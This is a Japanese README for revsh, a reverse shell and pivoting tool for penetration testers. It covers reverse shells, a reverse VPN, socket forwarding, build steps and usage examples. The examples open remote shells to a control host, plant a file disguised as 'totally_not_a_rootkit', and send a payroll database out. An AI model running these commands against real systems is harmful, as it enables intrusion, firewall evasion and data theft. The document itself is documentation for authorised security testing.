
端末サポート、データトンネリング、高度なピボット機能を備えたリバースシェル。
revsh は、リバースシェルをターミナルサポート付きで確立し、高度なピボットのためのリバースVPN、および任意のデータトンネリングを行うツールです。
「リバースシェル」とは?
リバースシェルとは、リモートホストにシェルアクセスを提供するネットワーク接続です。telnet や ssh などの他のリモートログインツールとは異なり、リバースシェルはリモートホストから開始されます。この技術はリモートネットワークからアウトバウンド接続を行うことで、受信接続のみをブロックするように設定されたファイアウォールを回避できます。
「リバースVPN」とは?
revsh は、暗号トンネルの両端に仮想イーサネットカード(tun/tap)を接続できます。これらのカードを使用して、生のIPパケットやイーサネットフレームを転送できます。Iptables の NAT ルールと組み合わせたり、実際のイーサネットカードとブリッジしたりすることで、オペレーターはターゲットマシンのネットワーク上で完全にルーティング可能なIPアドレスを受け取ることができます。これは基本的に、オペレーターへのコールバック接続を行って受信パケットフィルタリングを回避し、オペレーターに完全なネットワークアクセスを付与するフルVPNです。(詳細については、「Documentation/REVERSE_VPN.md」 を参照してください。)
「バインドシェル」とは?
バインドシェル は、通常のフォワードネットワーク接続から提供されるシェルです。revsh はリバースシェルとバインドシェルの両方をサポートしています。バインドシェルを呼び出すには、接続の両端で -b フラグを指定するか、バイナリを 'bindsh' として起動します。
netcat ではダメなの?
リバースシェルを確立するための多くのテクニックがありますが、これらの方法はターミナルサポートを提供しません。revsh は、疑似端末を介して接続が仲介されるリバースシェルを可能にし、以下のような機能を提供します:
さらに、revsh は以下の機能も提供します:
revsh は、ペネトレーションテスターのツールキット向けの補助ツールとして設計されており、暗号化トンネル上で完全なターミナル機能セットを提供します。
どこで revsh を使えますか?
revsh は x86_64 Linux 上で開発されました。使用実績のあるアーキテクチャ/OSの組み合わせの簡単なリストは以下の通りです:
(他のプラットフォームで revsh を正常に使用した場合は、ご連絡ください。リストに追加します。)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS The address of the control listener. (Default is "0.0.0.0".)
PORT The port of the control listener. (Default is "2200".)
CONTROL_OPTIONS:
-c Run in "command and control" mode. (Default is target mode.)
-a Enable Anonymous Diffie-Hellman mode. (Default is Ephemeral Diffie-Hellman.)
-d KEYS_DIR Reference the keys in an alternate directory. (Default is "~/.revsh/keys/".)
-f RC_FILE Reference an alternate rc file. (Default is "~/.revsh/rc".)
-s SHELL Invoke SHELL as the remote shell. (Default is "/bin/bash".)
-F LOG_FILE Log general use and errors to LOG_FILE. (No default set.)
TARGET_OPTIONS:
-t SEC Set the connection timeout to SEC seconds. (Default is "3600".)
-r SEC1,SEC2 Set the retry time to be SEC1 seconds, or (Default is "600,1200".)
to be random in the range from SEC1 to SEC2.
MUTUAL_OPTIONS:
-k Run in keep-alive mode.
Node will neither exit normally, nor timeout.
-L [LHOST:]LPORT:RHOST:RPORT
Static socket forwarding with a local listener
at LHOST:LPORT forwarding to RHOST:RPORT.
-R [RHOST:]RPORT:LHOST:LPORT
Static socket forwarding with a remote listener
at RHOST:RPORT forwarding to LHOST:LPORT.
-D [LHOST:]LPORT
Dynamic socket forwarding with a local listener
at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-B [RHOST:]RPORT
Dynamic socket forwarding with a remote
listener at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-x Disable automatic setup of proxies. (Defaults: Proxy D2280 and tun/tap devices.)
-b Start in bind shell mode. (Default is reverse shell mode.)
The -b flag must be invoked on both ends.
-n Non-interactive netcat style data broker. (Default is interactive w/remote tty.)
No tty. Useful for copying files.
-v Verbose. -vv and -vvv increase verbosity.
-V Print the program and protocol versions.
-h Print this help.
-e Print out some usage examples.
まず、OpenSSL をソースからビルドする必要があります。(以下の 注記 を参照。)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # These options are needed to build static applications against OpenSSL.
make && make test # We skip "make install" so we don't conflict with your systems default OpenSSL. We will build _revsh_ against the OpenSSL we just compiled in this tree.
cd ..
次に revsh をビルドします。
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # Set up new defaults that fit your situation.
vi Makefile # Check that the selected build environment is the one you want. (It probably already is by default.)
make # This *can* take a very long time, though it usually doesn't.
make install
vi ~/.revsh/rc # Add your favorite startup commands to really customize the feel of your remote shell.
revsh -h
注記: OpenSSL 1.1.0 のリリースに伴い、静的にリンクされたバイナリで使用するには、OpenSSL をソースからビルドする必要があります。ほとんどの Linux ディストリビューション(Kali を含む)に同梱されている OpenSSL ライブラリに対して静的にリンクされたバイナリをビルドすることは できません。(ビルドできたとしても、SEGFAULT が発生します。)
制御ホストの例 IP: 192.168.0.42
ターゲットホストの例 IP: 192.168.0.66
Interactive example on default port '2200':
control: revsh -c
target: revsh 192.168.0.42
Interactive example on non-standard port '443':
control: revsh -c 192.168.0.42:443
target: revsh 192.168.0.42:443
Bindshell example:
target: revsh -b
control: revsh -c -b 192.168.0.66
Non-interactive file upload example:
control: cat ~/bin/rootkit | revsh -c -n
target: revsh 192.168.0.42 > ./totally_not_a_rootkit
Non-interactive file download example:
control: revsh -c -n >payroll_db.tar
target: cat payroll_db.tar | revsh 192.168.0.42
Non-interactive file download example across existing tunnel:
control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
target: cat payroll_db.tar | revsh 127.0.0.1:2290